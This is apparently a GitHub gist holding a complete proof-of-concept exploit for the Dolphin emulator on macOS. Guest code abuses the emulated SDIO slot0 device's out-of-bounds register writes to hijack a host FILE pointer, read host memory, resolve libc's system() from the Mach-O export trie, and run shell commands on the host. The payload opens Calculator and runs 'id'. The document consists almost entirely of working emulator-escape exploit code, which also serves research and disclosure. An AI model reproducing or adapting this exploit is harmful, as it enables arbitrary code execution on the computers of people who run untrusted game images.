Dolphin Mac Exploit
#include <stdint.h> | |
extern "C" { | |
// entry point | |
void my_main(void); | |
} | |
// types | |
typedef uint8_t u8; | |
typedef uint16_t u16; | |
typedef uint32_t u32; | |
typedef uint64_t u64; | |
#define HW_IPC_PPCMSG 0xCD000000 | |
#define HW_IPC_PPCCTRL 0xCD000004 | |
#define HW_IPC_PPC_IRQFLAG 0xCD000030 | |
#define INT_CAUSE_IPC_BROADWAY 0x40000000 | |
#define IPC_CMD_OPEN 1 | |
#define IPC_CMD_IOCTL 6 | |
#define IPC_CMD_IOCTLV 7 | |
#define IPC_REP_ASYNC 8 | |
#define MODE_RW 3 | |
#define IOCTL_WRITEHCR 0x01 | |
#define IOCTL_READHCR 0x02 | |
#define READ_MULTIPLE_BLOCK 0x12 | |
#define IOCTLV_SENDCMD 0x07 | |
// OS X FILE flags | |
#define OSX_SRD 0x0004 /* OK to read */ | |
#define OSX_SOPT 0x0400 /* do fseek() optimisation */ | |
#define OSX_SOFF 0x1000 /* set iff _offset is in fact correct */ | |
// OS X Mach-O load commands | |
#define LC_SEGMENT_64 0x19 | |
#define LC_DYLD_INFO_ONLY (0x22 | 0x80000000) | |
// we know out (virtual) memory is mapped at 0x2300000000 on OS X | |
#define OSX_MEMORY_BASE 0x2300000000ULL | |
// Utility functions | |
extern "C" { | |
void *memset(void *out, int c, u32 v) { | |
for (u32 i = 0; i < v; i++) | |
((char *)out)[i] = c; | |
return out; | |
} | |
} | |
int strequal(const char *a, const char *b) { | |
for (;;) { | |
if (*a != *b) | |
return 0; | |
if (*a == '\0') | |
return 1; | |
a++; | |
b++; | |
} | |
} | |
struct ipc_message { // see http://wiibrew.org/wiki/IOS | |
u32 cmd; | |
u32 ret; | |
u32 fd; | |
u32 arg[5]; | |
u32 reserved[8]; | |
} __attribute__((aligned(8))); | |
static u32 do_ipc_message_sync(volatile struct ipc_message *msg) { | |
*(volatile u32 *)HW_IPC_PPCMSG = (u32)msg; | |
*(volatile u32 *)HW_IPC_PPCCTRL = 0x7; | |
// wait for the async response (might not be the best approach) | |
while (msg->cmd != IPC_REP_ASYNC) { | |
// This is for the downcount - the JIT emits no code, but time | |
// advances 3 cycles per instruction. | |
for (int i = 0; i < 10; i++) { | |
asm volatile("sync ; sync ; sync ; sync ; sync ; sync ; sync ; sync ; " | |
"sync ; sync ; sync ; sync ; sync ; sync ; sync ; sync ; " | |
"sync ; sync ; sync ; sync ; sync ; sync ; sync ; sync ; " | |
"sync ; sync ; sync ; sync ; sync ; sync ; sync ; sync ; " | |
"sync ; sync ; sync ; sync ; sync ; sync ; sync ; sync ; " | |
"sync ; sync ; sync ; sync ; sync ; sync ; sync ; sync ; " | |
"sync ; sync ; sync ; sync ; sync ; sync ; sync ; sync ; " | |
"sync ; sync ; sync ; sync ; sync ; sync ; sync ; sync ; " | |
"sync ; sync ; sync ; sync ; sync ; sync ; sync ; sync ; " | |
"sync ; sync ; sync ; sync ; sync ; sync ; sync ; sync"); | |
} | |
// Clear IPC interrupt flags | |
*(volatile u32 *)HW_IPC_PPCCTRL = 0x6; | |
} | |
return msg->ret; | |
} | |
static u32 open(const char *path, u32 mode) { | |
volatile struct ipc_message msg = {0}; | |
msg.cmd = IPC_CMD_OPEN; | |
msg.arg[0] = (u32)path; | |
msg.arg[1] = mode; | |
return do_ipc_message_sync(&msg); | |
} | |
static u32 ioctl(u32 fd, u32 cmd, void *inbuf, u32 insize, void *outbuf, | |
u32 outsize) { | |
volatile struct ipc_message msg = {0}; | |
msg.cmd = IPC_CMD_IOCTL; | |
msg.fd = fd; | |
msg.arg[0] = cmd; | |
msg.arg[1] = (u32)inbuf; | |
msg.arg[2] = insize; | |
msg.arg[3] = (u32)outbuf; | |
msg.arg[4] = outsize; | |
return do_ipc_message_sync(&msg); | |
} | |
struct ioctlv_buf { | |
void *ptr; | |
u32 size; | |
}; | |
static u32 ioctlv(u32 fd, u32 param, u32 inputcount, u32 payloadcount, | |
struct ioctlv_buf *bufs) { | |
volatile struct ipc_message msg = {0}; | |
msg.cmd = IPC_CMD_IOCTLV; | |
msg.fd = fd; | |
msg.arg[0] = param; | |
msg.arg[1] = inputcount; | |
msg.arg[2] = payloadcount; | |
msg.arg[3] = (u32)bufs; | |
return do_ipc_message_sync(&msg); | |
} | |
static u16 bswap(u16 x) { return __builtin_bswap16(x); } | |
static u32 bswap(u32 x) { return __builtin_bswap32(x); } | |
static u64 bswap(u64 x) { return __builtin_bswap64(x); } | |
template <typename value_type> struct host_value { | |
host_value() = default; | |
explicit host_value(value_type val) { *this = val; } | |
operator value_type() const { return bswap(raw); } | |
void operator=(value_type v) { raw = bswap(v); } | |
private: | |
value_type raw; | |
}; | |
typedef uint8_t host_u8; | |
typedef host_value<uint16_t> host_u16; | |
typedef host_value<uint32_t> host_u32; | |
typedef host_value<uint64_t> host_u64; | |
typedef host_value<uint64_t> host_ptr; | |
// OS X specific code | |
struct osx_sbuf { | |
host_ptr _base; | |
host_u32 _size; | |
}; | |
struct osx_FILE { | |
host_ptr _p; | |
host_u32 _r; | |
host_u32 _w; | |
host_u16 _flags; | |
host_u16 _file; | |
struct osx_sbuf _bf; | |
host_u32 _lbfsize; | |
host_ptr _cookie; | |
host_ptr _close; | |
host_ptr _read; | |
host_ptr _seek; | |
host_ptr _write; | |
struct osx_sbuf _ub; | |
host_ptr _extra; | |
host_u32 _ur; | |
host_u8 _ubuf[3]; | |
host_u8 _nbuf[1]; | |
struct osx_sbuf _lb; | |
host_u32 _blksize; | |
host_u64 _offset; | |
}; | |
struct osx_pthread_mutex_t { | |
host_u8 opaque[0x40]; | |
}; | |
struct osx_mbstate_t { | |
union { | |
host_u8 _mbstate8[128]; | |
host_u64 _mbstateL; | |
}; | |
}; | |
struct osx_FILEX { | |
host_ptr up; | |
struct osx_pthread_mutex_t fl_mutex; | |
host_u32 bits_orientation_counted; | |
osx_mbstate_t mbstate; | |
}; | |
static u64 address_to_host(const void *p) { | |
return ((u32)p - 0x80000000) + OSX_MEMORY_BASE; | |
} | |
// IPC HLE interface wrappers | |
static void slot0_write(int fd, u32 reg, u32 val) { | |
u32 input[5] = {reg, 0, 0, 0, val}; | |
ioctl(fd, IOCTL_WRITEHCR, &input, sizeof input, 0, 0); | |
} | |
static u32 slot0_read(int fd, u32 reg) { | |
u32 regnum = reg; | |
u32 value = 0; | |
ioctl(fd, IOCTL_READHCR, ®num, sizeof regnum, &value, sizeof value); | |
return value; | |
} | |
static u64 slot0_read_fileptr(int fd) { | |
return slot0_read(fd, 129) + ((u64)slot0_read(fd, 130) << 32); | |
} | |
static void slot0_write_fileptr(int fd, u64 addr) { | |
slot0_write(fd, 129, (u32)addr); | |
slot0_write(fd, 130, (u32)(addr >> 32)); | |
} | |
static u32 slot0_read_multiple_block(int fd, void *out, u32 offset, | |
u32 outsize) { | |
struct ioctlv_buf bufs[3] = {{0}}; | |
bufs[1].ptr = out; | |
bufs[1].size = outsize; | |
u32 result = 0; | |
bufs[2].ptr = &result; | |
bufs[2].size = sizeof result; | |
struct { | |
u32 command; | |
u32 type; | |
u32 resp; | |
u32 arg; | |
u32 blocks; | |
u32 bsize; | |
void *addr; | |
u32 isDMA; | |
u32 pad0; | |
} req; | |
memset(&req, 0, sizeof req); | |
req.command = READ_MULTIPLE_BLOCK; | |
req.arg = offset; | |
req.addr = out; | |
req.bsize = 1; | |
req.blocks = outsize; | |
bufs[0].ptr = &req; | |
bufs[0].size = sizeof req; | |
return ioctlv(fd, IOCTLV_SENDCMD, 2, 1, bufs); | |
} | |
static void slot0_osx_read(int fd, void *out, u64 hostaddr, u32 size) { | |
osx_FILE file; | |
memset(&file, 0, sizeof file); | |
osx_FILEX extra; | |
memset(&extra, 0, sizeof extra); | |
file._extra = address_to_host(&extra); | |
file._flags = OSX_SOPT | OSX_SOFF | OSX_SRD; | |
file._seek = 1; // non-null | |
file._p = hostaddr; | |
file._bf._base = hostaddr; | |
file._offset = size + 1; | |
file._r = size + 1; | |
// replace the FILE* to point to our data | |
u64 saved_fileptr = slot0_read_fileptr(fd); | |
slot0_write_fileptr(fd, address_to_host(&file)); | |
slot0_read_multiple_block(fd, out, 0, size); | |
// restore | |
slot0_write_fileptr(fd, saved_fileptr); | |
} | |
static u32 osx_read_u32(int fd, u64 addr) { | |
u32 r = 0; | |
slot0_osx_read(fd, &r, addr, sizeof r); | |
return bswap(r); | |
} | |
static u64 osx_read_ptr(int fd, u64 addr) { | |
u64 r = 0; | |
slot0_osx_read(fd, &r, addr, sizeof r); | |
return bswap(r); | |
} | |
// functions from dyld | |
static u32 read_uleb(u8 *&p, u8 *end) { | |
u32 result = 0; | |
int bit = 0; | |
do { | |
if (p == end) | |
return 0; | |
u8 slice = *p & 0x7f; | |
if (bit > 31) { | |
return 0; | |
} else { | |
result |= (slice << bit); | |
bit += 7; | |
} | |
} while (*p++ & 0x80); | |
return result; | |
} | |
static u8 *trie_walk(u8 *start, u8 *end, const char *s) { | |
u8 *p = start; | |
while (p != 0) { | |
u32 terminal_size = read_uleb(p, end); | |
if ((*s == '\0') && (terminal_size != 0)) { | |
return p; | |
} | |
u8 *children = p + terminal_size; | |
u8 children_remaining = *children++; | |
p = children; | |
u32 node_offset = 0; | |
for (; children_remaining > 0; --children_remaining) { | |
const char *ss = s; | |
u8 wrong_edge = false; | |
char c = *p; | |
while (c != '\0') { | |
if (!wrong_edge) { | |
if (c != *ss) | |
wrong_edge = true; | |
++ss; | |
} | |
++p; | |
c = *p; | |
} | |
if (wrong_edge) { | |
++p; | |
while ((*p & 0x80) != 0) | |
++p; | |
++p; | |
} else { | |
++p; | |
node_offset = read_uleb(p, end); | |
s = ss; | |
break; | |
} | |
} | |
if (node_offset != 0) | |
p = &start[node_offset]; | |
else | |
p = 0; | |
} | |
return 0; | |
} | |
// mach-o parsing | |
static u64 find_system(int slot0, u64 libc_ptr) { | |
libc_ptr -= libc_ptr & 0xFFFF; | |
while (osx_read_u32(slot0, libc_ptr) != 0xFEEDFACF) { | |
libc_ptr -= 0x1000; | |
} | |
u64 libc_base = libc_ptr; | |
u32 ncmds = osx_read_u32(slot0, libc_base + 0x10); | |
u64 cmd_start = libc_base + 0x20; | |
u64 image_slide = 0; | |
u64 linkedit_slide = 0; | |
u32 exports_off = 0; | |
u32 exports_size = 0; | |
for (u32 cmdi = 0; cmdi < ncmds; cmdi++) { | |
u32 cmd = osx_read_u32(slot0, cmd_start); | |
u32 cmdsize = osx_read_u32(slot0, cmd_start + 4); | |
if (cmd == LC_SEGMENT_64) { | |
char sname[17] = {0}; | |
slot0_osx_read(slot0, sname, cmd_start + 8, 16); | |
u64 vmaddr = osx_read_ptr(slot0, cmd_start + 0x18) + image_slide; | |
if (strequal(sname, "__TEXT")) { | |
image_slide = libc_base - vmaddr; | |
} else if (strequal(sname, "__LINKEDIT")) { | |
linkedit_slide = vmaddr - osx_read_ptr(slot0, cmd_start + 0x28); | |
} | |
} else if (cmd == LC_DYLD_INFO_ONLY) { | |
exports_off = osx_read_u32(slot0, cmd_start + 0x20 + 8); | |
exports_size = osx_read_u32(slot0, cmd_start + 0x24 + 8); | |
break; | |
} | |
cmd_start += cmdsize; | |
} | |
exports_size = exports_size < 0x10000 ? exports_size : 0x10000; | |
u8 exports[0x10000]; | |
slot0_osx_read(slot0, exports, exports_off + linkedit_slide, exports_size); | |
u8 *p = trie_walk(exports, exports + exports_size, "_system"); | |
if (!p) | |
return 0; | |
read_uleb(p, exports + exports_size); | |
return libc_ptr + read_uleb(p, exports + exports_size); | |
} | |
void my_main() { | |
// open the vulnerable device | |
int slot0 = open("/dev/sdio/slot0", MODE_RW); | |
u64 fileptr = slot0_read_fileptr(slot0); | |
osx_FILE leakedfile; | |
memset(&leakedfile, 0, sizeof leakedfile); | |
slot0_osx_read(slot0, &leakedfile, fileptr, sizeof leakedfile); | |
u64 system_ptr = find_system(slot0, leakedfile._read); | |
if (!system_ptr) | |
return; | |
// create a fake file structure which will run | |
// our commands on "fseek" | |
const char *cmdstring = "open -a Calculator ; " | |
"echo 'success! running shell commands as:' ; id"; | |
// out-of-bounds write will replace a file pointer | |
// create some fake file objects | |
osx_FILE file; | |
memset(&file, 0, sizeof file); | |
osx_FILEX extra; | |
memset(&extra, 0, sizeof extra); | |
file._extra = address_to_host(&extra); | |
file._cookie = address_to_host(cmdstring); | |
file._seek = system_ptr; | |
u64 saved_fileptr = slot0_read_fileptr(slot0); | |
slot0_write_fileptr(slot0, address_to_host(&file)); | |
u32 ignored; | |
slot0_read_multiple_block(slot0, &ignored, 0x1234, sizeof ignored); | |
// restore | |
slot0_write_fileptr(slot0, saved_fileptr); | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment